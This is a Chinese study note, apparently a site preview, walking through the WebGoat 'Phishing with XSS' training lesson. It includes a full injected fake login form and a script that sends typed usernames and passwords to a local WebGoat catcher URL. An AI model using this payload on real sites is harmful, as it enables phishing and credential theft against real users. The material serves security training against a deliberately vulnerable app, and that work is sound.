文档详情

WebGoat笔记九_跨站脚本攻击(Cross-Site Scripting (XSS)).pdf

发布:2017-10-05约1.24万字共14页下载文档
文本预览下载声明
WebGoat 学习笔记九 WebGoat 学习笔记九 —跨站脚本攻击(Cross-Site Scripting (XSS)) 瞿靖东 2015/11/ 10 版本号:WebGoat 5.4 1、使用XSS 钓鱼(Phishing with XSS) 技术概念或主题(Concept / Topic To Teach) 在服务端对所有输入进行验证总是不错的做法。当用户输入非法HTTP 响应时容易造成 XSS 。在XSS 的帮助下,你可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来 说很难发现该内容是否存在威胁。 技术原理(How It works ) HTML 文档内容很容易篡改的,如果你有权限操作页面源代码。 总体目标(General Goals ) 创 建 一 个 form , 要 求 填 写 用 户 名 和 密 码 。 将 数 据 提 交 到 http://localhost/WebGoat/catcher?PROPERTY=yesuser=catchedUserNamepassword=catched PasswordNam 操作方法(Solutions) 利用XSS 可以在已存在的页面中进一步添加元素。该解决方案包括两部分,你需要结合 起来使用: 受害人填写一个表格; 以读取脚本的形式,将收集到的信息发送给攻击者。 一个带用户名和密码输入框的表格如下: form brbrHRH3This feature requires account login:/H3 brbr Enter Username:brinput type=text id=user name=userbr Enter Password:brinput type=password name=passbr /formbrbrHR WebGoat 学习笔记九 搜索这段代码,你就能看到页面中增加了一个表单。 现在你需要一段脚本: script function hack() {alert(Had this been a real attack... Your credentials were just stolen. User Name=”+ document.form.user.value+Password=”+document.form.pass.value); XSSlmage=new Image (); XSSlmage.src=http://localhost/WebGoat/catcher?PROPERTY=yesuser=+ document.form.user.value+password=+document.form.pass.value+””; } /script 这段代码会读取你在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息 的WebGoat. 最后,就是要将这两段代码合并。最终需要输入的代码如下: scriptfunction hack(){ alert(Had this been a real attack... Your credentials were just stolen. User Name = + document.forms[1].user.value + Password = + document.forms[1].pass.value); XSSImage=new Image(); XSSImage.src=http://localhost/WebGoat/catcher?PROPERTY=yesuser=+document.forms[1].u ser.value + password= + document.forms[1].pass.value + ;}
显示全部
相似文档